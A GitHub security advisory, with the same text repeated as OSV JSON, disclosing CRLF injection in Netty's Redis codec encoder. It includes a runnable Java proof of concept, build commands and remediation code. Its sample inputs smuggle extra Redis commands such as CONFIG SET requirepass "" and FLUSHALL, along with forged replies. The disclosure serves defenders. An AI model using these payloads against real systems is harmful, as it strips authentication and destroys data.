GHSA-RGRR-P7GP-5XJ7

Vulnerability from github – Published: 2026-05-07 00:24 – Updated: 2026-05-14 20:41
VLAI?
Summary
Netty Redis Codec Encoder has a CRLF Injection Issue
Details

Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder

1. Vulnerability Summary

Field Value
Product Netty
Version 4.2.12.Final (and all prior versions with codec-redis)
Component io.netty.handler.codec.redis.RedisEncoder
Vulnerability Type CWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection)
Impact Redis Command Injection / Response Poisoning
Attack Vector Network
Attack Complexity Low
Privileges Required None
User Interaction None
Scope Unchanged
Confidentiality Impact High
Integrity Impact High
Availability Impact None

2. Affected Components

The following classes in the codec-redis module are affected:

  • io.netty.handler.codec.redis.RedisEncoder (encoder - no output validation)
  • io.netty.handler.codec.redis.InlineCommandRedisMessage (no input validation)
  • io.netty.handler.codec.redis.SimpleStringRedisMessage (no input validation)
  • io.netty.handler.codec.redis.ErrorRedisMessage (no input validation)
  • io.netty.handler.codec.redis.AbstractStringRedisMessage (base class - no validation)

3. Vulnerability Description

The Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\r\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses.

Root Cause

In RedisEncoder.java, the writeString() method (lines 103-111) writes content using ByteBufUtil.writeUtf8() without any validation:

private static void writeString(ByteBufAllocator allocator, RedisMessageType type,
                                String content, List<Object> out) {
    ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) +
                                     RedisConstants.EOL_LENGTH);
    type.writeTo(buf);
    ByteBufUtil.writeUtf8(buf, content);       // <-- NO CRLF VALIDATION
    buf.writeShort(RedisConstants.EOL_SHORT);   // <-- Appends \r\n
    out.add(buf);
}

The message constructors (InlineCommandRedisMessage, SimpleStringRedisMessage, ErrorRedisMessage) inherit from AbstractStringRedisMessage, which only checks for null:

// AbstractStringRedisMessage.java:30-32
AbstractStringRedisMessage(String content) {
    this.content = ObjectUtil.checkNotNull(content, "content");
    // NO CRLF validation
}

Comparison with Similar Fixed CVEs

This vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs:

CVE Component Fix
GHSA-jq43-27x9-3v86 SmtpRequestEncoder - SMTP command injection Added SmtpUtils.validateSMTPParameters() to check for \r and \n
GHSA-84h7-rjj3-6jx4 HttpRequestEncoder - CRLF in URI Added HttpUtil.validateRequestLineTokens() to check for \r, \n, and SP

The Redis codec has no equivalent validation in either the encoder or the message constructors.

4. Exploitability Prerequisites

This vulnerability is exploitable when all of the following conditions are met:

  1. The application uses Netty's codec-redis module to communicate with a Redis server
  2. User-controlled input is placed into InlineCommandRedisMessage, SimpleStringRedisMessage, or ErrorRedisMessage content
  3. The application does not perform its own CRLF sanitization before constructing these message objects

Important context: Most production Redis clients built on Netty use the RESP array format (ArrayRedisMessage + BulkStringRedisMessage), which uses binary-safe length-prefixed encoding and is not affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters.

Affected use cases include: - Custom Redis clients or proxies that use InlineCommandRedisMessage for simplicity - Redis middleware/proxy layers that forward SimpleStringRedisMessage or ErrorRedisMessage responses - Applications that construct Redis monitoring or diagnostic commands from user input - Redis Sentinel or Cluster management tools using inline command format

5. Attack Scenarios

Scenario 1: Redis Command Injection via Inline Commands

When Netty is used as a Redis client or proxy, and user-controlled data is placed into InlineCommandRedisMessage, an attacker can inject arbitrary Redis commands:

// Application code that builds Redis commands from user input
String userKey = request.getParameter("key");  // Attacker controls this
InlineCommandRedisMessage msg = new InlineCommandRedisMessage("GET " + userKey);
channel.writeAndFlush(msg);

Attack input: key = "foo\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL"

Result: Three commands sent to Redis: 1. GET foo 2. CONFIG SET requirepass "" (removes authentication!) 3. FLUSHALL (deletes all data!)

Scenario 2: Redis Response Poisoning

When Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses:

// Proxy forwarding a simple string response
SimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse);
downstreamChannel.writeAndFlush(response);

Malicious upstream response: "OK\r\n$6\r\nhacked"

Client sees: 1. Simple String: +OK (expected response) 2. Bulk String: $6\r\nhacked (injected fake data!)

Scenario 3: Error Message Injection

ErrorRedisMessage error = new ErrorRedisMessage("ERR " + errorDetail);

Attack input: errorDetail = "unknown\r\n+FAKE_SUCCESS"

Client sees: 1. Error: -ERR unknown 2. Simple String: +FAKE_SUCCESS (injected fake success!)

6. Proof of Concept

Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java)

import io.netty.buffer.ByteBuf;
import io.netty.buffer.ByteBufUtil;
import io.netty.buffer.UnpooledByteBufAllocator;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.redis.*;

import java.nio.charset.StandardCharsets;
import java.util.List;
import java.util.ArrayList;

/**
 * PoC: Redis Encoder CRLF Injection Vulnerability
 *
 * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,
 * and ErrorRedisMessage do not validate content for CRLF characters,
 * allowing Redis command injection via the RESP protocol.
 */
public class RedisEncoderCRLFInjectionPoC {

    public static void main(String[] args) {
        System.out.println("=== Netty Redis Encoder CRLF Injection PoC ===\n");

        testInlineCommandInjection();
        testSimpleStringInjection();
        testErrorMessageInjection();

        System.out.println("\n=== PoC Complete ===");
    }

    /**
     * Test 1: Inline Command Injection
     * An attacker-controlled string injected into InlineCommandRedisMessage
     * results in multiple Redis commands being sent.
     */
    static void testInlineCommandInjection() {
        System.out.println("[TEST 1] Inline Command CRLF Injection");
        System.out.println("----------------------------------------");

        // Malicious content: inject FLUSHALL after a benign PING
        String maliciousContent = "PING\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        // This should be rejected but is accepted
        InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   InlineCommandRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        // Count how many CRLF-delimited commands are in the output
        String[] commands = encoded.split("\r\n");
        System.out.println("Number of commands parsed by Redis: " + commands.length);
        for (int i = 0; i < commands.length; i++) {
            if (!commands[i].isEmpty()) {
                System.out.println("  Command " + (i + 1) + ": " + commands[i]);
            }
        }

        boolean vulnerable = commands.length > 1;
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Multiple commands injected!" : "NO"));
        System.out.println();
    }

    /**
     * Test 2: SimpleString Response Injection
     * When Netty acts as a Redis proxy/middleware, a malicious SimpleString
     * can inject fake responses to the downstream client.
     */
    static void testSimpleStringInjection() {
        System.out.println("[TEST 2] SimpleString Response CRLF Injection");
        System.out.println("----------------------------------------------");

        // Malicious content: inject a fake bulk string response after OK
        String maliciousContent = "OK\r\n$6\r\nhacked";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   SimpleStringRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        // The RESP protocol uses the first byte to determine type:
        // '+' = Simple String, '$' = Bulk String
        // A client parsing this would see:
        // 1. "+OK\r\n"       -> Simple String "OK"
        // 2. "$6\r\nhacked"  -> Bulk String "hacked" (injected!)
        boolean vulnerable = encoded.contains("+OK\r\n$6\r\nhacked");
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Response poisoning possible!" : "NO"));
        System.out.println();
    }

    /**
     * Test 3: Error Message Injection
     * Similar to SimpleString but with error messages.
     */
    static void testErrorMessageInjection() {
        System.out.println("[TEST 3] Error Message CRLF Injection");
        System.out.println("--------------------------------------");

        String maliciousContent = "ERR unknown\r\n+INJECTED_OK";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   ErrorRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        boolean vulnerable = encoded.contains("-ERR unknown\r\n+INJECTED_OK");
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Error + fake OK injected!" : "NO"));
        System.out.println();
    }
}

How to Compile and Run

# Build Netty (skip tests for speed)
./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \
  -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \
  -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q

# Set classpath
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
  | grep -v sources | grep -v javadoc | tr '\n' ':')

# Compile and run
javac -cp "$JARS" RedisEncoderCRLFInjectionPoC.java
java -cp "$JARS:." RedisEncoderCRLFInjectionPoC

PoC Execution Output (Verified on Netty 4.2.12.Final)

=== Netty Redis Encoder CRLF Injection PoC ===

[TEST 1] Inline Command CRLF Injection
----------------------------------------
Input:   InlineCommandRedisMessage("PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL")
Encoded: "PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL\r\n"
Number of commands parsed by Redis: 3
  Command 1: PING
  Command 2: CONFIG SET requirepass ""
  Command 3: FLUSHALL
VULNERABLE: YES - Multiple commands injected!

[TEST 2] SimpleString Response CRLF Injection
----------------------------------------------
Input:   SimpleStringRedisMessage("OK\r\n$6\r\nhacked")
Encoded: "+OK\r\n$6\r\nhacked\r\n"
VULNERABLE: YES - Response poisoning possible!

[TEST 3] Error Message CRLF Injection
--------------------------------------
Input:   ErrorRedisMessage("ERR unknown\r\n+INJECTED_OK")
Encoded: "-ERR unknown\r\n+INJECTED_OK\r\n"
VULNERABLE: YES - Error + fake OK injected!


=== PoC Complete ===

7. Impact Analysis

Impact Category Description
Confidentiality HIGH - Attacker can execute CONFIG GET to extract sensitive Redis configuration, use KEYS * to enumerate all data
Integrity HIGH - Attacker can execute SET/DEL/FLUSHALL to modify or destroy data, CONFIG SET to change server configuration
Availability Can be HIGH - FLUSHALL destroys all data, SHUTDOWN stops the server, DEBUG SLEEP causes DoS
Authentication Bypass CONFIG SET requirepass "" removes authentication
Data Exfiltration Lua scripting via EVAL enables complex data extraction

8. Remediation Recommendations

Option 1: Validate in Message Constructors (Recommended)

Add CRLF validation to AbstractStringRedisMessage:

AbstractStringRedisMessage(String content) {
    this.content = ObjectUtil.checkNotNull(content, "content");
    validateContent(content);
}

private static void validateContent(String content) {
    for (int i = 0; i < content.length(); i++) {
        char c = content.charAt(i);
        if (c == '\r' || c == '\n') {
            throw new IllegalArgumentException(
                "Redis message content contains illegal CRLF character at index " + i);
        }
    }
}

Option 2: Validate in Encoder (Defense-in-Depth)

Add validation in RedisEncoder.writeString():

private static void writeString(ByteBufAllocator allocator, RedisMessageType type,
                                String content, List<Object> out) {
    for (int i = 0; i < content.length(); i++) {
        char c = content.charAt(i);
        if (c == '\r' || c == '\n') {
            throw new RedisCodecException(
                "Redis message content contains CRLF at index " + i);
        }
    }
    // ... existing encoding logic
}

Option 3: Both (Best Practice)

Apply validation in both the constructor and the encoder, following the pattern used for SMTP: - SmtpUtils.validateSMTPParameters() validates in DefaultSmtpRequest constructor - This provides defense-in-depth against custom SmtpRequest implementations

9. Resources

Severity ?
6.8 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-redis"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-redis"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42586"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:24:08Z",
    "nvd_published_at": "2026-05-13T19:17:24Z",
    "severity": "MODERATE"
  },
  "details": "# Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-redis) |\n| **Component** | `io.netty.handler.codec.redis.RedisEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection) |\n| **Impact** | Redis Command Injection / Response Poisoning |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | None |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | High |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\nThe following classes in the `codec-redis` module are affected:\n\n- `io.netty.handler.codec.redis.RedisEncoder` (encoder - no output validation)\n- `io.netty.handler.codec.redis.InlineCommandRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.SimpleStringRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.ErrorRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.AbstractStringRedisMessage` (base class - no validation)\n\n## 3. Vulnerability Description\n\nThe Netty Redis codec encoder (`RedisEncoder`) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (`\\r\\n`) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses.\n\n### Root Cause\n\nIn `RedisEncoder.java`, the `writeString()` method (lines 103-111) writes content using `ByteBufUtil.writeUtf8()` without any validation:\n\n```java\nprivate static void writeString(ByteBufAllocator allocator, RedisMessageType type,\n                                String content, List\u003cObject\u003e out) {\n    ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) +\n                                     RedisConstants.EOL_LENGTH);\n    type.writeTo(buf);\n    ByteBufUtil.writeUtf8(buf, content);       // \u003c-- NO CRLF VALIDATION\n    buf.writeShort(RedisConstants.EOL_SHORT);   // \u003c-- Appends \\r\\n\n    out.add(buf);\n}\n```\n\nThe message constructors (`InlineCommandRedisMessage`, `SimpleStringRedisMessage`, `ErrorRedisMessage`) inherit from `AbstractStringRedisMessage`, which only checks for null:\n\n```java\n// AbstractStringRedisMessage.java:30-32\nAbstractStringRedisMessage(String content) {\n    this.content = ObjectUtil.checkNotNull(content, \"content\");\n    // NO CRLF validation\n}\n```\n\n### Comparison with Similar Fixed CVEs\n\nThis vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs:\n\n| CVE | Component | Fix |\n|-----|-----------|-----|\n| **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder - SMTP command injection | Added `SmtpUtils.validateSMTPParameters()` to check for `\\r` and `\\n` |\n| **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder - CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` to check for `\\r`, `\\n`, and SP |\n\nThe Redis codec has **no equivalent validation** in either the encoder or the message constructors.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when **all** of the following conditions are met:\n\n1. The application uses Netty\u0027s `codec-redis` module to communicate with a Redis server\n2. User-controlled input is placed into `InlineCommandRedisMessage`, `SimpleStringRedisMessage`, or `ErrorRedisMessage` content\n3. The application does **not** perform its own CRLF sanitization before constructing these message objects\n\n**Important context**: Most production Redis clients built on Netty use the RESP array format (`ArrayRedisMessage` + `BulkStringRedisMessage`), which uses binary-safe length-prefixed encoding and is **not** affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters.\n\n**Affected use cases include**:\n- Custom Redis clients or proxies that use `InlineCommandRedisMessage` for simplicity\n- Redis middleware/proxy layers that forward `SimpleStringRedisMessage` or `ErrorRedisMessage` responses\n- Applications that construct Redis monitoring or diagnostic commands from user input\n- Redis Sentinel or Cluster management tools using inline command format\n\n## 5. Attack Scenarios\n\n### Scenario 1: Redis Command Injection via Inline Commands\n\nWhen Netty is used as a Redis client or proxy, and user-controlled data is placed into `InlineCommandRedisMessage`, an attacker can inject arbitrary Redis commands:\n\n```java\n// Application code that builds Redis commands from user input\nString userKey = request.getParameter(\"key\");  // Attacker controls this\nInlineCommandRedisMessage msg = new InlineCommandRedisMessage(\"GET \" + userKey);\nchannel.writeAndFlush(msg);\n```\n\n**Attack input**: `key = \"foo\\r\\nCONFIG SET requirepass \\\"\\\"\\r\\nFLUSHALL\"`\n\n**Result**: Three commands sent to Redis:\n1. `GET foo`\n2. `CONFIG SET requirepass \"\"` (removes authentication!)\n3. `FLUSHALL` (deletes all data!)\n\n### Scenario 2: Redis Response Poisoning\n\nWhen Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses:\n\n```java\n// Proxy forwarding a simple string response\nSimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse);\ndownstreamChannel.writeAndFlush(response);\n```\n\n**Malicious upstream response**: `\"OK\\r\\n$6\\r\\nhacked\"`\n\n**Client sees**:\n1. Simple String: `+OK` (expected response)\n2. Bulk String: `$6\\r\\nhacked` (injected fake data!)\n\n### Scenario 3: Error Message Injection\n\n```java\nErrorRedisMessage error = new ErrorRedisMessage(\"ERR \" + errorDetail);\n```\n\n**Attack input**: `errorDetail = \"unknown\\r\\n+FAKE_SUCCESS\"`\n\n**Client sees**:\n1. Error: `-ERR unknown`\n2. Simple String: `+FAKE_SUCCESS` (injected fake success!)\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.ByteBufUtil;\nimport io.netty.buffer.UnpooledByteBufAllocator;\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.redis.*;\n\nimport java.nio.charset.StandardCharsets;\nimport java.util.List;\nimport java.util.ArrayList;\n\n/**\n * PoC: Redis Encoder CRLF Injection Vulnerability\n *\n * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,\n * and ErrorRedisMessage do not validate content for CRLF characters,\n * allowing Redis command injection via the RESP protocol.\n */\npublic class RedisEncoderCRLFInjectionPoC {\n\n    public static void main(String[] args) {\n        System.out.println(\"=== Netty Redis Encoder CRLF Injection PoC ===\\n\");\n\n        testInlineCommandInjection();\n        testSimpleStringInjection();\n        testErrorMessageInjection();\n\n        System.out.println(\"\\n=== PoC Complete ===\");\n    }\n\n    /**\n     * Test 1: Inline Command Injection\n     * An attacker-controlled string injected into InlineCommandRedisMessage\n     * results in multiple Redis commands being sent.\n     */\n    static void testInlineCommandInjection() {\n        System.out.println(\"[TEST 1] Inline Command CRLF Injection\");\n        System.out.println(\"----------------------------------------\");\n\n        // Malicious content: inject FLUSHALL after a benign PING\n        String maliciousContent = \"PING\\r\\nCONFIG SET requirepass \\\"\\\"\\r\\nFLUSHALL\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n        // This should be rejected but is accepted\n        InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);\n        channel.writeOutbound(msg);\n\n        ByteBuf output = channel.readOutbound();\n        String encoded = output.toString(StandardCharsets.UTF_8);\n        output.release();\n        channel.finishAndReleaseAll();\n\n        System.out.println(\"Input:   InlineCommandRedisMessage(\\\"\" +\n                           maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n        System.out.println(\"Encoded: \\\"\" +\n                           encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n        // Count how many CRLF-delimited commands are in the output\n        String[] commands = encoded.split(\"\\r\\n\");\n        System.out.println(\"Number of commands parsed by Redis: \" + commands.length);\n        for (int i = 0; i \u003c commands.length; i++) {\n            if (!commands[i].isEmpty()) {\n                System.out.println(\"  Command \" + (i + 1) + \": \" + commands[i]);\n            }\n        }\n\n        boolean vulnerable = commands.length \u003e 1;\n        System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Multiple commands injected!\" : \"NO\"));\n        System.out.println();\n    }\n\n    /**\n     * Test 2: SimpleString Response Injection\n     * When Netty acts as a Redis proxy/middleware, a malicious SimpleString\n     * can inject fake responses to the downstream client.\n     */\n    static void testSimpleStringInjection() {\n        System.out.println(\"[TEST 2] SimpleString Response CRLF Injection\");\n        System.out.println(\"----------------------------------------------\");\n\n        // Malicious content: inject a fake bulk string response after OK\n        String maliciousContent = \"OK\\r\\n$6\\r\\nhacked\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n        SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);\n        channel.writeOutbound(msg);\n\n        ByteBuf output = channel.readOutbound();\n        String encoded = output.toString(StandardCharsets.UTF_8);\n        output.release();\n        channel.finishAndReleaseAll();\n\n        System.out.println(\"Input:   SimpleStringRedisMessage(\\\"\" +\n                           maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n        System.out.println(\"Encoded: \\\"\" +\n                           encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n        // The RESP protocol uses the first byte to determine type:\n        // \u0027+\u0027 = Simple String, \u0027$\u0027 = Bulk String\n        // A client parsing this would see:\n        // 1. \"+OK\\r\\n\"       -\u003e Simple String \"OK\"\n        // 2. \"$6\\r\\nhacked\"  -\u003e Bulk String \"hacked\" (injected!)\n        boolean vulnerable = encoded.contains(\"+OK\\r\\n$6\\r\\nhacked\");\n        System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Response poisoning possible!\" : \"NO\"));\n        System.out.println();\n    }\n\n    /**\n     * Test 3: Error Message Injection\n     * Similar to SimpleString but with error messages.\n     */\n    static void testErrorMessageInjection() {\n        System.out.println(\"[TEST 3] Error Message CRLF Injection\");\n        System.out.println(\"--------------------------------------\");\n\n        String maliciousContent = \"ERR unknown\\r\\n+INJECTED_OK\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n        ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);\n        channel.writeOutbound(msg);\n\n        ByteBuf output = channel.readOutbound();\n        String encoded = output.toString(StandardCharsets.UTF_8);\n        output.release();\n        channel.finishAndReleaseAll();\n\n        System.out.println(\"Input:   ErrorRedisMessage(\\\"\" +\n                           maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n        System.out.println(\"Encoded: \\\"\" +\n                           encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n        boolean vulnerable = encoded.contains(\"-ERR unknown\\r\\n+INJECTED_OK\");\n        System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Error + fake OK injected!\" : \"NO\"));\n        System.out.println();\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests for speed)\n./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \\\n  -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \\\n  -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\n\n# Compile and run\njavac -cp \"$JARS\" RedisEncoderCRLFInjectionPoC.java\njava -cp \"$JARS:.\" RedisEncoderCRLFInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty Redis Encoder CRLF Injection PoC ===\n\n[TEST 1] Inline Command CRLF Injection\n----------------------------------------\nInput:   InlineCommandRedisMessage(\"PING\\r\\nCONFIG SET requirepass \"\"\\r\\nFLUSHALL\")\nEncoded: \"PING\\r\\nCONFIG SET requirepass \"\"\\r\\nFLUSHALL\\r\\n\"\nNumber of commands parsed by Redis: 3\n  Command 1: PING\n  Command 2: CONFIG SET requirepass \"\"\n  Command 3: FLUSHALL\nVULNERABLE: YES - Multiple commands injected!\n\n[TEST 2] SimpleString Response CRLF Injection\n----------------------------------------------\nInput:   SimpleStringRedisMessage(\"OK\\r\\n$6\\r\\nhacked\")\nEncoded: \"+OK\\r\\n$6\\r\\nhacked\\r\\n\"\nVULNERABLE: YES - Response poisoning possible!\n\n[TEST 3] Error Message CRLF Injection\n--------------------------------------\nInput:   ErrorRedisMessage(\"ERR unknown\\r\\n+INJECTED_OK\")\nEncoded: \"-ERR unknown\\r\\n+INJECTED_OK\\r\\n\"\nVULNERABLE: YES - Error + fake OK injected!\n\n\n=== PoC Complete ===\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Confidentiality** | HIGH - Attacker can execute `CONFIG GET` to extract sensitive Redis configuration, use `KEYS *` to enumerate all data |\n| **Integrity** | HIGH - Attacker can execute `SET`/`DEL`/`FLUSHALL` to modify or destroy data, `CONFIG SET` to change server configuration |\n| **Availability** | Can be HIGH - `FLUSHALL` destroys all data, `SHUTDOWN` stops the server, `DEBUG SLEEP` causes DoS |\n| **Authentication Bypass** | `CONFIG SET requirepass \"\"` removes authentication |\n| **Data Exfiltration** | Lua scripting via `EVAL` enables complex data extraction |\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate in Message Constructors (Recommended)\n\nAdd CRLF validation to `AbstractStringRedisMessage`:\n\n```java\nAbstractStringRedisMessage(String content) {\n    this.content = ObjectUtil.checkNotNull(content, \"content\");\n    validateContent(content);\n}\n\nprivate static void validateContent(String content) {\n    for (int i = 0; i \u003c content.length(); i++) {\n        char c = content.charAt(i);\n        if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027) {\n            throw new IllegalArgumentException(\n                \"Redis message content contains illegal CRLF character at index \" + i);\n        }\n    }\n}\n```\n\n### Option 2: Validate in Encoder (Defense-in-Depth)\n\nAdd validation in `RedisEncoder.writeString()`:\n\n```java\nprivate static void writeString(ByteBufAllocator allocator, RedisMessageType type,\n                                String content, List\u003cObject\u003e out) {\n    for (int i = 0; i \u003c content.length(); i++) {\n        char c = content.charAt(i);\n        if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027) {\n            throw new RedisCodecException(\n                \"Redis message content contains CRLF at index \" + i);\n        }\n    }\n    // ... existing encoding logic\n}\n```\n\n### Option 3: Both (Best Practice)\n\nApply validation in both the constructor and the encoder, following the pattern used for SMTP:\n- `SmtpUtils.validateSMTPParameters()` validates in `DefaultSmtpRequest` constructor\n- This provides defense-in-depth against custom `SmtpRequest` implementations\n\n## 9. Resources\n\n- [RESP Protocol Specification](https://redis.io/docs/reference/protocol-spec/)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)",
  "id": "GHSA-rgrr-p7gp-5xj7",
  "modified": "2026-05-14T20:41:24Z",
  "published": "2026-05-07T00:24:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-rgrr-p7gp-5xj7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42586"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://redis.io/docs/reference/protocol-spec"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
